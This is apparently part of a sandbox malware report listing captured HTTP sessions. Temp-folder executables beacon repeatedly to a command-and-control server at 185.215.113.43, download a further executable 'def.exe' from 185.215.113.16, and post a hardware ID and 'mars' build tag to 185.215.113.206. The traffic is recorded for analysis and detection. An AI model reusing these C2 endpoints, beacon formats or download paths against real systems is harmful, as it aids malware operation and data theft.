Nov 23, 2024 21:15:46.664647102 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 21:15:47.849833012 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 68802 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 21:15:57.860363007 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49799	34.107.221.82	80	6992	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:15:46.716563940 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 21:15:47.823340893 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 48470 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 21:15:57.830228090 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49807	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:15:49.135658026 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:15:50.483169079 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:15:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49814	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:15:52.319633961 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:15:53.746737957 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:15:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49821	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:15:55.851600885 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:15:57.559834957 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:15:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49835	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:15:59.562242985 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:16:00.772099018 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:16:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49846	185.215.113.16	80	3848	C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:01.755793095 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 23, 2024 21:16:03.181571007 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:16:02 GMT Content-Type: application/octet-stream Content-Length: 2817536 Last-Modified: Sat, 23 Nov 2024 19:40:14 GMT Connection: keep-alive ETag: "67422f9e-2afe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 db 7d 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +}+`Ui` @ @.rsrc`2@.idata 8@rqyixswb*:@aovkkqgk @+@.taggant@`+"*@
Nov 23, 2024 21:16:03.181595087 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:16:03.181602001 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:16:03.181660891 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:16:03.181695938 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:16:03.181703091 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:16:03.181715965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:16:03.181801081 CET	1236	IN	Data Raw: 68 b9 e4 02 b0 1a e5 cf 08 0d e7 47 39 47 40 35 95 5e 5e 25 aa f0 4b e5 e4 d7 29 c4 42 50 b9 df d0 45 93 ae 4e 32 7e 65 61 8a 21 3f 5e fc d5 c2 05 d4 05 35 c6 c3 e8 f9 0b f2 e6 fb 1b cc ac d0 19 bb f5 05 b0 ce f1 1d d4 e7 04 ff 25 dd e6 52 f6 a2 Data Ascii: hG9G@5^^%K)BPEN2~ea!?^5%R.xr.$@0.%jze2b-_O33)u,9 P{;5zo%\$nBqt3l%WF^
Nov 23, 2024 21:16:03.181828022 CET	1224	IN	Data Raw: 84 c6 0f 1f 7c c6 03 23 95 ad 84 3c 33 e5 09 b4 ca ed f5 3b b8 f0 2b 24 fa 4e 23 0f 1c 05 f3 02 ca ed 33 25 68 25 37 00 6d b0 71 87 1c c6 4f 05 ca 19 0f 77 b8 01 5f 31 ae 5a 55 7b f4 e5 6b dc a5 e2 93 58 33 39 f8 8d 1c 45 1b 02 8a d2 73 57 82 7d Data Ascii: \|#<3;+$N#3%h%7mqOw_1ZU{kX39EsW}`Bqcuaiiq'~?':1o^N"S%T33~95A>B~[s)`*:t#2z>49aXEiV3cB8&"
Nov 23, 2024 21:16:03.181834936 CET	1236	IN	Data Raw: dd 5e 1f 00 f8 fb 90 1e 68 e1 b9 40 dd db f4 0c a6 fd 0f d0 d8 2e bf 02 01 a1 ff be 0f b0 0d 77 cc d6 23 ec 30 1f 3e 64 af 9d 51 e1 d6 ee 39 72 0e 3a 2d ce 9a 1c d0 d1 15 d3 30 9c da c5 53 15 3c 20 7c 63 1a b5 69 63 ab 10 5f 58 82 d6 5b 34 18 1c Data Ascii: ^h@.w#0>dQ9r:-0S< \|cic_X[4CvSI$Gtq'7Pn m0fhqt?9/x&0o3JskA,)&XeC%Hl<N/! 9UMixo
Nov 23, 2024 21:16:03.305392027 CET	1236	IN	Data Raw: ba 5d b2 20 3f c5 e8 08 36 af 8f e9 34 0e c4 e8 e2 d1 ee db e9 5d e0 ce 56 b1 2d 22 3e d6 f9 42 3e d1 4f d7 3a eb db 6c 3d ce da 33 3e c1 41 09 cb d2 9d 91 b9 9a eb 7d df 80 09 b4 f5 87 54 0e dd 23 07 c7 f5 b3 fd 1e d4 12 5b 09 24 24 45 00 ae 10 Data Ascii: ] ?64]V-">B>O:l=3>A}T#[$$ELJz,^@A$r;J:6n'/5160(=\|(YW5`2a0245~h80aI.L"?Evg[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49848	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:02.565479040 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:16:04.410391092 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:16:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 23, 2024 21:16:04.510523081 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:16:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49859	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:06.224567890 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:16:07.604581118 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:16:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49868	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:09.524068117 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:16:10.855911970 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:16:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49873	185.215.113.206	80	2376	C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:11.073584080 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 21:16:12.472877026 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 21:16:12.477061033 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFCBFBGDBKJKECAAKKF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 35 43 44 44 42 31 37 39 39 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 2d 2d 0d 0a Data Ascii: ------ECFCBFBGDBKJKECAAKKFContent-Disposition: form-data; name="hwid"B5CDDB1799AC3343412148------ECFCBFBGDBKJKECAAKKFContent-Disposition: form-data; name="build"mars------ECFCBFBGDBKJKECAAKKF--
Nov 23, 2024 21:16:12.932986021 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49875	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:12.537811041 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:16:13.879162073 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:16:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49885	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:15.750335932 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:16:17.081940889 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:16:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49892	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:18.717799902 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49897	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:20.538933992 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:16:21.968024969 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:16:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49908	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:23.684747934 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:16:25.017529964 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:16:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.8	49917	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:24.281229973 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 21:16:25.419375896 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 48508 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 21:16:25.571275949 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
